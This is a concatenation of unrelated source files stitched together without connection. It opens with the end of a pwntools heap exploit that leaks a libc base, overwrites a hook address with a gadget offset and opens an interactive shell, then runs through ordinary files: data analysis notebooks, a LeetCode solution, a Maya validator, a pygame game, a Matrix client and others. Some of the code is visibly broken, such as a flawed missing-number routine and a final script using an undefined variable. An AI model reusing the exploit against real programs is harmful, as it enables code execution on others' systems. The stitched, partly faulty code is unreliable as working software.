        self.allocate_cmd(104)
        self.allocate_cmd(104)
        self.fill_cmd(8, 27, "A"*19+p64(dest))
        self.p.sendline("1")
        self.p.recvuntil("Size: ")
        self.p.sendline(str(1337))
        self.p.interactive()
        self.p.close()

    def pwn_binary(self):
        self.start_binary()

        base_libc=self.leak_libc()-0x399b58
        log.info("Leak libc base address: "+hex(base_libc))

        self.rewrite_addr(base_libc+0x399acd, base_libc+0x3f35a)

def main():
    pwn = Pwn()
    pwn.pwn_binary()

if __name__ == "__main__":
    main()


"""
Given a Python list L of n positive integers, each represented with k =
ceil(log n)+ 1 bits, describe an O(n)-time method for finding a k-bit integer
not in L.

"""
from math import log2, ceil
from random import shuffle
from random import randrange

def find_missing(data):
    def ar_seq(n, first, last):
        """
        https://mathbitsnotebook.com/Algebra2/Sequences/SSArithmetic.html
        number of terms times the average of the first and last terms
        """
        n = int(n)
        first = int(first)
        last = int(last)
        return (n*(first + last))/2

    bits = ceil(log2(len(data))) + 1
    # sum of all k bits numbers
    sum_all_k_bits = ar_seq(2**(bits-1), 2 ** (bits - 1), 2 ** bits - 1)
    return int(sum_all_k_bits) - sum(data)

if __name__ == '__main__':

    n = 16
    data = list(range(n, n * 2))
    shuffle(data)
    print('Removing:', data.pop())

    missing = find_missing(data)
    print('Missing:', missing)


#!/usr/bin/env python
# coding: utf-8

# #### Challenge 1

# In[ ]:

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from bs4 import BeautifulSoup
import requests
import re

pd.set_option('display.max_rows', 500)

# In[ ]:

df_loyalty = pd.read_csv("loyalty.csv")
df_txn = pd.read_csv("transactions.csv")

df_join = pd.merge(df_loyalty[['id', 'license-plate']], df_txn, on='id', how='inner', suffixes = ("_l","_t"))

# In[ ]:

bins = [-1, 250, 500, 750, 1000, 1250, 1500, 1750, 2000]
labels = ["1. 0-250", "2. >250-500", "3. >500-750", "4. >750-1000", "5. >1000-1250", "6. >1250-1500", "7. >1500-1750", "8. >1750-2000"]
df_join['binned_amount'] = pd.cut(df_join['Amount'], bins=bins, labels=labels)
df_join['email_type'] = df_join['email'].apply(lambda x: x.split("@")[1])
df_join['area_code'] = df_join['phone-number'].apply(lambda x: x.split("-")[0].strip())

# #### Challenge 3

# In[ ]:

base_url = f"https://www.npanxxsource.com/area-codes.htm"

main_page0 = requests.get(base_url).text
doc0 = BeautifulSoup(main_page0, "html.parser")

area_table = doc0.findAll("table", id="npatab")[0]
TR_list = area_table.find("tbody").findAll("tr")

area_code_list = []
time_zone_list = []
region_list = []
country_list = []

for TR in TR_list:
    TD = TR.findAll("td")

    area_code, time_zone, region, country = TD[0].text, TD[3].text, TD[4].text, TD[5].text
    area_code_list.append(area_code)
    time_zone_list.append(time_zone)
    region_list.append(region)
    country_list.append(country)

df_scrape = pd.DataFrame(list(zip(area_code_list, time_zone_list, region_list, country_list))
                  , columns =['area_code', 'time_zone', 'region', 'country'])

df_scrape['area_code'] = df_scrape['area_code'].apply(lambda x: x.strip())

df_join2 = pd.merge(df_join, df_scrape, on="area_code", how="left")

# In[ ]:

# df_join2 is the final dataset with external data sources


class Solution:
    def topKFrequent(self, nums: List[int], k: int) -> List[int]:

        arr = Counter(nums)

        print(arr)

        frequest = []

        for key, val in arr.items():
            frequest.append(val)

        frequest.sort()
        frequest = frequest[::-1]

        print(frequest)

        ans = []

        for i in range(k):

            for key, val in arr.items():

                if frequest[i] == val and key not in ans:
                    ans.append(key)

        return ans

May Daily LeetCode Problems 2023/347. Top K Frequent Elements.py


"""
`ast_transformer.py`
-------------------

Used to manipulated parsed ASTs.

@author: Dylan Bourgeois (@dtsbourg), Thao Nguyen (@thaonguyen19)

License: CC-BY 4.0
"""

import astor
import networkx as nx
import ast
import ast_utils
from ast_utils import AST_SYMBOL_DICT
import feature_utils
import utils
import numpy as np

class SAGEWalker(astor.TreeWalk):
    '''
    Example subclass of an astor TreeWalker.
    '''
    def node_class_index(self, node):
        '''
        Adds the node to the indexed list.
        '''
        raise NotImplementedError

    def process_class_index(self, node):
        '''
        Adds the node's class to the indexed list.
        '''
        raise NotImplementedError

    def to_sage(self):
        '''
        Dump the indexed AST to the appropriate files.
        '''
        raise NotImplementedError

class ASTVisitor(ast.NodeVisitor):
    '''
    Example subclass of a visitor.
    '''
    def __init__(self, verbose, slot=None, include_vectorized_tokens=True):
        super().__init__()
        self.verbose         = verbose
        self.nodes_stack     = []
        self.feature_list    = []
        self.classes_list    = []
        self.prev_line_no    = 0
        self.prev_col_offset = 0
        self.slot            = slot
        self.include_vectorized_tokens = include_vectorized_tokens

    def collect_metadata(self,node):
        if ast_utils.is_func_def(node):
            node.func_name = ast_utils.get_func_name(node)

        if ast_utils.is_variable(node):
            node.var_name = ast_utils.get_varname(node)

        if not hasattr(node, 'lineno'):
            node.lineno = -1
        self.prev_line_no = node.lineno

        if not hasattr(node, 'col_offset'):
            node.col_offset = -1
        self.prev_col_offset = node.col_offset

    def generic_visit(self, node):
        '''
        Is called upon visit to every node.
        '''
        if not hasattr(node, 'visited'):
            if not ast_utils.should_filter(node):
                self.collect_metadata(node)
                self.nodes_stack.append(node)

                token_id = ast_utils.get_token_id(node)
                if token_id == -1:
                    print("[WARNING] --- Found unkown token", node)

                if self.include_vectorized_tokens:
                    ft = feature_utils.token2vec(node, slot=self.slot)

                    if np.count_nonzero(np.isnan(ft)) > 0:
                        print("[WARNING] Found nan feature for node", node)
                        ft = np.zeros(64)
                one_hot_token_type = utils.one_hot_encoder(token_id, 1, min=0, max=max(AST_SYMBOL_DICT.values()))
                if self.include_vectorized_tokens:
                    self.feature_list.append(np.concatenate([ft, one_hot_token_type[0]]))
                else:
                    self.feature_list.append(one_hot_token_type[0])
                self.classes_list.append(ast_utils.get_token_class_id(node))
                node.visited = True

        ast.NodeVisitor.generic_visit(self, node)


from maya import cmds
import maya.api.OpenMaya as om2

import pyblish.api
import colorbleed.api
import colorbleed.maya.action

class ValidateMeshNormalsUnlocked(pyblish.api.Validator):
    """Validate all meshes in the instance have unlocked normals

    These can be unlocked manually through:
        Modeling > Mesh Display > Unlock Normals

    """

    order = colorbleed.api.ValidateMeshOrder
    hosts = ['maya']
    families = ['colorbleed.model']
    category = 'geometry'
    version = (0, 1, 0)
    label = 'Mesh Normals Unlocked'
    actions = [colorbleed.maya.action.SelectInvalidAction,
               colorbleed.api.RepairAction]
    optional = True

    @staticmethod
    def has_locked_normals(mesh):
        """Return whether mesh has at least one locked normal"""

        sel = om2.MGlobal.getSelectionListByName(mesh)
        node = sel.getDependNode(0)
        fn_mesh = om2.MFnMesh(node)
        _, normal_ids = fn_mesh.getNormalIds()
        for normal_id in normal_ids:
            if fn_mesh.isNormalLocked(normal_id):
                return True
        return False

    @classmethod
    def get_invalid(cls, instance):
        """Return the meshes with locked normals in instance"""

        meshes = cmds.ls(instance, type='mesh', long=True)
        return [mesh for mesh in meshes if cls.has_locked_normals(mesh)]

    def process(self, instance):
        """Raise invalid when any of the meshes have locked normals"""

        invalid = self.get_invalid(instance)

        if invalid:
            raise ValueError("Meshes found with "
                             "locked normals: {0}".format(invalid))

    @classmethod
    def repair(cls, instance):
        """Unlocks all normals on the meshes in this instance."""
        invalid = cls.get_invalid(instance)
        for mesh in invalid:
            cmds.polyNormalPerVertex(mesh, unFreezeNormal=True)


# -*- coding: utf-8 -*-
"""
Created on Thu Sep  5 16:53:26 EDT 2019
@author: jiarongw
"""

import numpy as np
import pandas as pd
import scipy.interpolate
import os
from tqdm import tqdm
import matplotlib.pyplot as plt
import sys

sys.path.append('/home/jiarong/research/postprocessing/functions/')
from visualization import contour, scatter

'''
###############################################################################
# A class for turbulence statistics
###############################################################################
'''

class TurStat:
    '''
    Class for slicing of a bulk data. Takes in a field.
    '''

    def __init__(self, fieldset, tset):
        '''
        Parameters
        ----------

        fieldset : ensemble of field

		t_set : list of time

        N : number of samples

        '''

        self.fieldset = fieldset.copy()
        self.tset = tset.copy()
        self.N = len(self.tset)
        # A check to make sure all the field snapshot
        self.x = self.fieldset[0].x
        self.y = self.fieldset[0].y
        self.z = self.fieldset[0].z
        for f,t in zip(self.fieldset,self.tset):
            if not (pd.Series.equals(f.x,self.x))&(pd.Series.equals(f.y,self.y))&(pd.Series.equals(f.z,self.z)):
                print("t=%g field has wrong sample number!" %t)

    def ensemble_aver(self):
        '''
        The most basic function that returns the other two coordinate and desired field of the slice.
        '''
        # ALWAYS use copy to avoid changing the dataframe being copied!!!
        self.field_add = self.fieldset[0].copy()
        for i in range(1, self.N):
            # WATCHOUT if an operation takes inplace or not!
            self.field_add = self.field_add.add(self.fieldset[i])
#             self.field_en_aver += self.fieldset[i]   # same effect
        self.field_en_aver = self.field_add/self.N

    def ensemble_aver_quantity(self, formula, type_ = 'scalar'):
        '''
        Take a measure in fieldset. Pass it to a function. Get the operation done (by a separate function that
        this function has nothing to do with). Return a quantity. Iterate and average through fieldset. Assemble
        that quantity along desirable axis, usually normal to the wall.

        formula: function
            The function to compute a certain quantity.
        type_: string
            Either 'scalar' or 'array in y'
        '''

        # Initiate differently with different types of averaged quantities
        if type_ == 'scalar':
            aver = 0
        elif type_ == 'array in y':
            aver = np.zeros(len(self.y))

        for i in tqdm(range(0, self.N)):
            # The return value from formula should be of the same dimension with aver
            sample = formula(self.fieldset[i].copy())
            aver += sample
        aver = aver / self.N
        return aver

    # Function performed on averaged quantities
#     def law_wall_fit(self, ):
#         numpy.polyfit(numpy.log(x), y, 1)


# WRITE YOUR SOLUTION HERE:

import math
import pygame
from random import randint

pygame.init()

width = 640
height = 480

screen = pygame.display.set_mode((width, height))
pygame.display.set_caption('Asteroid')
robot = pygame.image.load("C:/Users/user/AppData/Local/tmc/vscode/mooc-programming-22/part13-05_vertical_movement/src/robot.png")
rock = pygame.image.load("C:/Users/user/AppData/Local/tmc/vscode/mooc-programming-22/part13-17_asteroids/src/rock.png")

def collision_occurs(objectx, objecty, robotx, roboty):
    x_distance = objectx-robotx
    y_distance = objecty - roboty

    x_distance *= x_distance
    y_distance *= y_distance

    distance_in_pixels = math.sqrt(x_distance + y_distance)
    return distance_in_pixels < 40

x = 0
y = height - robot.get_height()
points = 0

to_left = False
to_right = False

game_font = pygame.font.SysFont("Arial", 24)
text = game_font.render("Points: " + str(points), True, (255, 0, 0))

asteroids = []

for i in range(5):
    asteroids.append([randint(0, width - rock.get_width()), -randint(100, 200)])

game_over = False
while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            exit()
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_LEFT:
                to_left = True
            if event.key == pygame.K_RIGHT:
                to_right = True

        if event.type == pygame.KEYUP:
            if event.key == pygame.K_LEFT:
                to_left = False
            if event.key == pygame.K_RIGHT:
                to_right = False

    if game_over:
        text = game_font.render(f"Game Over! You scored {points} points", True, (255, 0, 0))
        screen.blit(text, (320, 240))
        pygame.display.flip()
    else:
        for i in range(5):
            if asteroids[i][1]+rock.get_height() < height:
                asteroids[i][1] += 1
                if collision_occurs(asteroids[i][0], asteroids[i][1], x, y):
                    points += 1
                    asteroids[i][0] = randint(0,width-rock.get_width())
                    asteroids[i][1] = -randint(100,1000)
            else:
                game_over = True
                asteroids[i][0] = randint(0,width-rock.get_width())
                asteroids[i][1] = -randint(100,1000)

        if to_right and (x + 2) + robot.get_width() <= width:
            x += 2
        if to_left and (x - 2) >= 0:
            x -= 2

        screen.fill((0,0,0))

        for i in range(5):
            screen.blit(rock, (asteroids[i][0], asteroids[i][1]))

        text = game_font.render("Points: " + str(points), True, (255, 0, 0))
        screen.blit(text, (500, 10))
        screen.blit(robot, (x,y))
        pygame.display.flip()
        clock = pygame.time.Clock().tick(60)


from __future__ import annotations

import logging
from collections import deque
from functools import partial
from io import StringIO
from typing import TYPE_CHECKING, Any, Deque, List, Optional, Type

import attr
from prettyprinter import pprint
from trio import MemorySendChannel
from trio._core import ParkingLot

from matriisi.dataclasses.message import Message
from matriisi.dataclasses.room import Room
from matriisi.event import (
    Event,
    MessageEvent,
    MessageReplyEvent,
    RoomMeJoinedEvent,
    RoomMemberBannedEvent,
    RoomMemberInvitedEvent,
    RoomMemberInviteRejectedEvent,
    RoomMemberInviteRevokedEvent,
    RoomMemberJoinedEvent,
    RoomMemberKickedEvent,
    RoomMemberLeftEvent,
    RoomMemberUnbannedEvent,
    RoomStateChangedEvent,
    RoomTopicChangedEvent,
)
from matriisi.http import (
    CONTENT_TYPE,
    MatrixEventRoomMember,
    MatrixEventRoomMessage,
    MatrixEventRoomTopic,
    MatrixHttpEvent,
    MatrixJoinedRoom,
    MatrixRoomBaseEvent,
    MatrixRoomBaseStateEvent,
    MatrixRoomEvent,
    MatrixRoomMemberMembership,
    MatrixRoomStateEvent,
    MatrixSync,
)
from matriisi.id_dict import IdentifierDict
from matriisi.identifier import Identifier

if TYPE_CHECKING:
    from matriisi.roboclient import RoboClient

logger = logging.getLogger(__name__)

_INVITE = MatrixRoomMemberMembership.INVITE
_JOIN = MatrixRoomMemberMembership.JOIN
_LEAVE = MatrixRoomMemberMembership.LEAVE
_BAN = MatrixRoomMemberMembership.BAN
_KNOCK = MatrixRoomMemberMembership.KNOCK

def stringify_event(evt: MatrixHttpEvent):
    stream = StringIO()
    pprint(evt, stream=stream)
    return stream.getvalue()

@attr.s()
class MatrixState(object):
    """
    Encapsulates the global state for the current roboclient, as well as handles generating events.
    """

    # TODO: Account data
    #: The roboclient using this state.
    roboclient: RoboClient = attr.ib()

    #: The channel to dispatch events over.
    event_channel: MemorySendChannel[Event] = attr.ib()

    #: A deque of cached events.
    cached_events: Deque[MatrixRoomEvent[CONTENT_TYPE]] = attr.ib(
        factory=partial(deque, maxlen=1000)
    )

    #: The mapping of rooms data.
    rooms: IdentifierDict[Room] = attr.ib(factory=IdentifierDict)

    #: The ``next_batch`` key.
    next_batch: Optional[str] = attr.ib(default=None)

    #: The parking lot used to block until next synchronisation.
    parking_lot: ParkingLot = attr.ib(factory=ParkingLot)

    ## Public API ##

    def find_event(
        self, event_id: str, *, type: Type[CONTENT_TYPE] = None
    ) -> Optional[MatrixRoomEvent[CONTENT_TYPE]]:
        """
        Finds a cached event.

        :param event_id: The event ID to look up.
        :param type: The type of the event content.
        :return: The :class:`.MatrixRoomEvent`, or None if no such event was cached.
        """

        for event in self.cached_events:
            if event.event_id == event_id:
                return event

    async def wait_until_sync(self):
        """
        Waits until the next sync.
        """

        await self.parking_lot.park()

    ## Internal API ##

    @staticmethod
    def _handle_m_room_message(
        before: Room, snapshot: Room, event: MatrixRoomEvent[MatrixEventRoomMessage]
    ):
        """
        Handles a new room message.
        """

        message = Message(event=event, room=snapshot)

        reply = event.content.relates_to.replying_to
        if reply is not None:
            return MessageReplyEvent(snapshot, message)

        return MessageEvent(snapshot, message)

    @staticmethod
    def _handle_m_room_member(
        before: Room, snapshot: Room, event: MatrixRoomBaseStateEvent[MatrixEventRoomMember]
    ):
        """
        Handles a member event.
        """

        # this requires a whole bunch of heuristics to detect what actually changed
        previous_event = before.find_event("m.room.member", event.state_key, MatrixEventRoomMember)
        if previous_event is None:
            pm = _LEAVE
        else:
            pm = previous_event.content.membership

        nm = event.content.membership

        # check membership changes
        if pm != nm:
            # oh boy...

            if pm == _INVITE and nm == _JOIN:  # accepted invite
                return RoomMemberJoinedEvent(snapshot, event.sender, was_invited=True)

            elif pm == _INVITE and nm == _LEAVE:  # rejected/revoked invite
                rejected_id = Identifier.parse(event.state_key)
                if event.sender == rejected_id:
                    return RoomMemberInviteRejectedEvent(snapshot, event.sender)
                else:
                    return RoomMemberInviteRevokedEvent(snapshot, rejected_id, event.sender)

            elif pm == _JOIN and nm == _LEAVE:  # left room somehow
                member_id = Identifier.parse(event.state_key)
                if event.sender == member_id:
                    return RoomMemberLeftEvent(snapshot, member_id)
                else:
                    return RoomMemberKickedEvent(
                        snapshot, kicked_id=member_id, kicker_id=event.sender
                    )

            elif pm == _LEAVE and nm == _INVITE:  # newly invited
                member_id = Identifier.parse(event.state_key)
                return RoomMemberInvitedEvent(
                    snapshot, invitee_id=member_id, inviter_id=event.sender
                )

            elif pm == _LEAVE and nm == _JOIN:  # newly joined
                member_id = Identifier.parse(event.state_key)
                return RoomMemberJoinedEvent(snapshot, member_id, was_invited=False)

            elif pm == _BAN and nm == _LEAVE:  # unbanned
                member_id = Identifier.parse(event.state_key)
                return RoomMemberUnbannedEvent(
                    snapshot, unbanned_id=member_id, unbanner_id=event.sender
                )

            elif nm == _BAN:  # banned, in some form
                banner = event.sender
                banee = Identifier.parse(event.state_key)
                return RoomMemberBannedEvent(
                    snapshot, banned_id=banee, banner_id=banner, was_in_room=pm == _JOIN
                )

            else:
                before = stringify_event(previous_event)
                after = stringify_event(event)
                logger.warning(
                    f"Invalid or unsupported membership transistion detected: {pm} -> {nm}\n\n"
                    f"previous event: {before}\n"
                    f"next event: {after}"
                )

        else:
            if pm == _JOIN and nm == _JOIN:
                raise NotImplementedError()

        before = stringify_event(previous_event)
        after = stringify_event(event)
        logger.warning(
            "all heuristics failed when parsing member event. this is definitely a bug!\n\n"
            f"previous event: {before}\n"
            f"next event: {after}"
        )

    @staticmethod
    def _handle_m_room_topic(
        before: Room, snapshot: Room, event: MatrixRoomBaseStateEvent[MatrixEventRoomTopic]
    ):
        """
        Handles a room's topic change.
        """

        previous_event = before.find_event("m.room.topic", "", MatrixEventRoomTopic)
        if previous_event is None:
            previous_topic = None
        else:
            previous_topic = previous_event.content.topic

        return RoomTopicChangedEvent(snapshot, previous_topic, event.content.topic)

    async def _backfill_events(self, room_id: Identifier, prev_batch: str, last_known_id: str):
        """
        Backfills events from Matrix.

        :param room_id: The room ID to backfill for.
        :param prev_batch: The token to use to get the previous set of events.
        :param last_known_id: The last known event ID.
        """

        logger.debug(f"Rewinding until we see {last_known_id}.")

        evts = deque()
        token = prev_batch
        while True:
            logger.debug(f"Rewinding from {token}")
            events = await self.roboclient.http_client.get_events(
                room_id=room_id, from_token=token, reverse=True, limit=50
            )
            for event in events.chunk:
                # check if we already saw this one, if so it's definitely the last one
                if event.event_id == last_known_id:
                    logger.debug(
                        f"Rewinded successfully to {event.event_id}, got {len(evts)} " f"events"
                    )
                    return evts
                else:
                    # events are returned in reverse order, so we need to append in reverse order
                    evts.appendleft(event)

            if events.end is None:
                logger.warning(
                    "Reached end of timeline when backfilling events, this should not " "happen"
                )
            else:
                token = events.end

    async def _process_joined_room(
        self, room_data: MatrixJoinedRoom, *, dont_backfill: bool
    ) -> List[Event]:
        """
        Processes a single joined room.
        """

        events = []

        matrix_events: List[MatrixRoomBaseEvent] = []
        matrix_events += room_data.state
        matrix_events += room_data.timeline.events

        last_room = self.rooms.get(room_data.room_id)

        if last_room is not None:
            room = last_room
            # room already existed, definitely not the first sync
            # check if we need to backfill data (the timeline is limited)
            if not dont_backfill and room_data.timeline.limited:
                logger.warning("Server dropped events, rewinding event stream")

                # okay, backfill events until we reach the last known event ID.
                evts = await self._backfill_events(
                    room_data.room_id,
                    room_data.timeline.prev_batch,
                    last_room.last_known_event_id,
                )
                matrix_events = list(evts) + matrix_events
        else:
            # new room, start with a joined room event
            room = Room(self.roboclient, room_data.room_id)
            self.rooms[room_data.room_id] = room
            events.append(RoomMeJoinedEvent(room))

        # replay events onto the room
        for evt in matrix_events:
            if isinstance(evt, MatrixRoomEvent):
                self.cached_events.append(evt)

            before = room.snapshot()
            if isinstance(evt, MatrixRoomStateEvent):
                # noinspection PyProtectedMember
                room._update_state(evt)
                events.append(RoomStateChangedEvent(before, room.snapshot(), evt))

            if last_room is not None:
                evt_type = evt.type.replace(".", "_")
                event_handler = getattr(self, f"_handle_{evt_type}", None)

                if event_handler:
                    snapshot = room.snapshot()
                    result = event_handler(before, snapshot, evt)

                    if result is not None:
                        events.append(result)
                else:
                    logger.warning(f"No event handler for '{evt_type}'")

        return events

    ## Private API ##

    async def sync(self, sync: MatrixSync, *, initial_batch: bool):
        """
        Synchronises local state with the server state.

        :param sync: The :class:`.MatrixSync` returned from the server.
        :param initial_batch: If this is the first sync. No events will be fired if it is.
        """
        self.next_batch = sync.next_batch

        events = []

        for id, room_data in sync.room_data.joined.items():
            events += await self._process_joined_room(room_data, dont_backfill=initial_batch)

        self.parking_lot.unpark_all()

        # drop the events on the floor
        if initial_batch:
            return

        for evt in events:
            await self.event_channel.send(evt)


from odoo import _, api, fields, models

class PurchaseOrder(models.Model):
    _inherit = "purchase.order"

    def _prepare_invoice(self):

        # frete, outros e seguro nao entrando na fatura

        self.ensure_one()
        invoice_vals = super()._prepare_invoice()
        invoice_vals.update(
            {
                "fiscal_operation_id": self.fiscal_operation_id.id,
                "document_type_id": self.company_id.document_type_id.id,
                "amount_freight_value": self.amount_freight_value,
                "amount_other_value": self.amount_other_value,
                "amount_insurance_value": self.amount_insurance_value,
            }
        )
        return invoice_vals


import os
import time
import zipfile

# Sources of files, that are going to be archived
sources = ["file1.txt", "file2.txt", "pic.bmp"]

# The name of archive that will be made
backup_name = time.strftime("%Y-%m-%d %H,%M,%S") + ".zip"

# Target directory for keeping backups
target = time.strftime("%Y-%m-%d")
if not os.path.exists(target):
    os.mkdir(target)

# Creating the backup
with zipfile.ZipFile(target+os.sep+backup_name, "w") as myzip:
    for source in sources:
        myzip.write(source)
        print(source, "is archived successfully!")
    print("Backup is completed!!")


# %%
import os

from dotenv import load_dotenv

from src.eclip.sampleset import SampleSetECLIP
from src.util.metrics.condition import ConditionEq

load_dotenv()

THESIS_TB_PATH = os.environ["THESIS_TB_PATH"]

SAVEDIR = os.path.join(THESIS_TB_PATH, "appendix")

if not os.path.exists(SAVEDIR):
    os.makedirs(SAVEDIR)

# %%

reports = {
    k: SampleSetECLIP(ConditionEq("Biosample name", k)).report
    for k in ["HepG2", "K562", "adrenal gland"]
}

# %%
for biosample in ["HepG2", "K562", "adrenal gland"]:
    data = reports[biosample][["Dataset", "Accession", "Target label"]].copy()
    data["Dataset"] = data["Dataset"].apply(lambda x: x.split("/")[2])
    print(biosample, data.shape)
    data.rename({"Accession": "peaks"}, axis=1).to_latex(
        os.path.join(SAVEDIR, f"encode_{biosample}.tex"),
        column_format="llll",
        longtable=True,
        caption=f"Biosampleが{biosample}であるデータセットと解析ファイルのAccession番号",
        label=f"tab:encode_{biosample}",
        index=False,
    )

# %%


# users/app/app.py

import os

from flask import Flask

from app.api.utils.extensions import (
    db, bcrypt, jwt, cors
)
from app.api.utils.func import JSONEncoder

def create_app(app_info=None):
    """Create Flask application in factory pattern
    """

    app = Flask(__name__)
    app.config.from_object(os.environ.get('APP_SETTINGS'))

    cors.init_app(app, origins=app.config.get('CORS_ORIGINS'), supports_credentials=True)
    db.init_app(app)
    bcrypt.init_app(app)
    jwt.init_app(app)

    from .api.views import user_api as user_bp
    app.register_blueprint(user_bp, url_prefix='/v1/')

    app.json_encoder = JSONEncoder

    @app.route('/')
    def index():
        return 'Hello, World'

    return app


from overrides import overrides
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.distributions as distributions
from . import AttackBase

class EpsilonAdversary(AttackBase) :
    def __init__(self, model=None, epsilon=0.3, repeat=3, dist="uniform", norm=False, device=None) :
        super(EpsilonAdversary,self).__init__(model, norm)
        self.model = model
        self.epsilon = epsilon
        self.repeat = repeat
        self.dist = dist
        self.device = device or torch.device("cuda:0")

    @overrides
    def loss(self, device=None) :
        device = device or self.device
        self.criterion = nn.CrossEntropyLoss().to(device)
        return self.criterion

    def eps_sampler(self, shape, epsilon=None, repeat=1, dist=None, device=None) :
        eps = epsilon or self.epsilon
        device = device or self.device
        repeat_shape = torch.Size([shape[0]*repeat, *shape[1:]])
        dist = dist or self.dist
        # 1. uniform
        if dist == "uniform" :
            distribution = distributions.uniform.Uniform(-eps,eps)
            noise = distribution.sample(sample_shape=repeat_shape)
        # 2. Gaussian with 0 mean & 1 std
        elif dist == "gaussian" or "normal" :
            distribution = distributions.normal.Normal(0, eps)
            noise = distribution.sample(sample_shape=repeat_shape)

        return noise

    @overrides
    def perturb(self, X, y, model=None, epsilon=None, repeat=None, dist=None, device=None) :
        criterion = self.loss(device)
        model = model or self.model
        epsilon = epsilon or self.epsilon
        device = device or self.device
        repeat = repeat or self.repeat
        model.zero_grad()

        noise = self.eps_sampler(shape=X.size(), epsilon=epsilon, repeat=repeat, dist=dist, device=device).to(device)
        if self.norm :
            X_adv = X.repeat(repeat,1,1,1)
            X_adv = self.inverse_normalize(X_adv)
            X_adv = X_adv + noise
            X_adv = torch.clamp(X_adv, 0., 1.)
            X_adv = self.normalize(X_adv)
        else :
            X_adv = X.repeat(repeat,1,1,1) + noise
            X_adv = torch.clamp(X_adv, 0., 1.)
        return X_adv


import numpy as np

from flow import install_node_template, FlowNode, FlowProperty, FlowPin, IntProperty

from .image import Image
from .types import *
from pluto import pluto_class
from scipy.ndimage import zoom

@pluto_class
class ToWorldNode(FlowNode):
    pins = [
        FlowPin('In', FlowPin.In),
        FlowPin('Out', FlowPin.Out)
    ]

    properties = [
        IntProperty('order', 1)
    ]

    def __init__(self):
        super(ToWorldNode, self).__init__()
        self.node_class = 'image.resample.ToWorldNode'
        self.title = 'ToWorld'
        self.category = 'Image/Resample'
        self.ui_class = 'one_to_one_node'

    def run(self, ctx):
        img = ctx.read_pin('In')
        if hasattr(img, 'spacing'):
            out = Image(zoom(img, img.spacing[::-1], order=self.order), img.pixel_type)
            out.spacing = [1]*len(img.spacing)
            ctx.write_pin('Out', out)
        else:
            ctx.write_pin('Out', img)

install_node_template(ToWorldNode())


# Part of the Crubit project, under the Apache License v2.0 with LLVM
# Exceptions. See /LICENSE for license information.
# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception

"""Utility module for sharing logic between rules and aspects that generate Rust bindings from C++.

Disclaimer: This project is experimental, under heavy development, and should
not be used yet.
"""

# buildifier: disable=bzl-visibility
load("@rules_rust//rust/private:providers.bzl", "DepVariantInfo")

# buildifier: disable=bzl-visibility
load(
    "@rules_rust//rust/private:rustc.bzl",
    "ExtraRustcFlagsInfo",
    "rustc_compile_action",
)

def _get_crate_info(providers):
    for provider in providers:
        if hasattr(provider, "name"):
            return provider
    fail("Couldn't find a CrateInfo in the list of providers")

def _get_dep_info(providers):
    for provider in providers:
        if hasattr(provider, "direct_crates"):
            return provider
    fail("Couldn't find a DepInfo in the list of providers")

def _get_cc_info(providers):
    for provider in providers:
        if hasattr(provider, "linking_context"):
            return provider
    fail("Couldn't find a CcInfo in the list of providers")

def compile_rust(ctx, attr, src, extra_srcs, deps):
    """Compiles a Rust source file.

    Args:
      ctx: The rule context.
      attr: The current rule's attributes.
      src: The source file to be compiled.
      extra_srcs: Additional source files to include in the crate.
      deps: List[DepVariantInfo]: A list of dependencies needed.

    Returns:
      A DepVariantInfo provider.
    """
    toolchain = ctx.toolchains["@rules_rust//rust:toolchain_type"]

    output_hash = repr(hash(src.path))

    # TODO(b/216587072): Remove this hacky escaping and use the import! macro once available
    crate_name = ctx.label.name.replace("-", "_")

    lib_name = "{prefix}{name}-{lib_hash}{extension}".format(
        prefix = "lib",
        name = crate_name,
        lib_hash = output_hash,
        extension = ".rlib",
    )

    rmeta_name = "{prefix}{name}-{lib_hash}{extension}".format(
        prefix = "lib",
        name = crate_name,
        lib_hash = output_hash,
        extension = ".rmeta",
    )

    lib = ctx.actions.declare_file(lib_name)
    rmeta = ctx.actions.declare_file(rmeta_name)

    providers = rustc_compile_action(
        ctx = ctx,
        attr = attr,
        toolchain = toolchain,
        crate_info_dict = dict(
            name = crate_name,
            type = "rlib",
            root = src,
            srcs = depset([src] + extra_srcs),
            deps = depset(deps),
            proc_macro_deps = depset([]),
            aliases = {},
            output = lib,
            metadata = rmeta,
            edition = "2018",
            is_test = False,
            rustc_env = {},
            compile_data = depset([]),
            compile_data_targets = depset([]),
            owner = ctx.label,
        ),
        rust_flags = ctx.attr._extra_rustc_flags[ExtraRustcFlagsInfo].extra_rustc_flags,
        output_hash = output_hash,
        force_all_deps_direct = True,
    )

    return DepVariantInfo(
        crate_info = _get_crate_info(providers),
        dep_info = _get_dep_info(providers),
        cc_info = _get_cc_info(providers),
        build_info = None,
    )


import os
import re
import xlrd
import xlwt

CONST_HEAD_ROWS = 3

def getTString(file_path):
	fp = open(file_path, 'r')
	file_text = fp.read()
	digi_str = re.findall(r'_T\("(.*?)"\)',file_text,re.MULTILINE)
	fp.close()
	return digi_str

def writeTStringByFolder(folder_path):
	file = xlwt.Workbook()

	table = file.add_sheet('script_multlang',cell_overwrite_ok=True)
	index = 0

	# write head
	table.write(0,0,'$')
	table.write(1,0,'!')
	table.write(2,0,'#')

	table.write(0,1,'lang')
	table.write(1,1,'id')
	table.write(2,1,'ID')

	table.write(0,2,'lang')
	table.write(1,2,'zhcn')
	table.write(2,2,'zhcn')

	# write body
	list_dirs = os.walk(folder_path)
	for root, dirs, files in list_dirs:
		for f in files:
			lst = getTString(os.path.join(root, f))
			for s in lst:
				table.write(CONST_HEAD_ROWS+index,0,'1.1')
				table.write(CONST_HEAD_ROWS+index,1,s.decode('utf-8'))
				table.write(CONST_HEAD_ROWS+index,2,s.decode('utf-8'))
				index += 1

	file.save('../xlstolua/xls/multlang.xls')

writeTStringByFolder('./');


#!/usr/bin/python3
import os
import glob
import argparse
import sys

parser = argparse.ArgumentParser(description="Finds python programs with the name given. Only works on Linux and if python_programs directory already exists.")
parser.add_argument("-f", "--file", help='python find_python_program.py [-f|--file] <filename>')
parser.add_argument('-s', '--search', help='python find_python_program.py -f <filename> [-s|--search] <relatedtext>')
args = parser.parse_args()

def main(filename):
	file_list = [found_file for found_file in glob.glob(f'./**/*{file_name}', recursive=True)] # replaced '/home/jkligel/python_programs/**/*{filename} with current directory to look through.'
	for i in file_list:
		print(i)
	return file_list

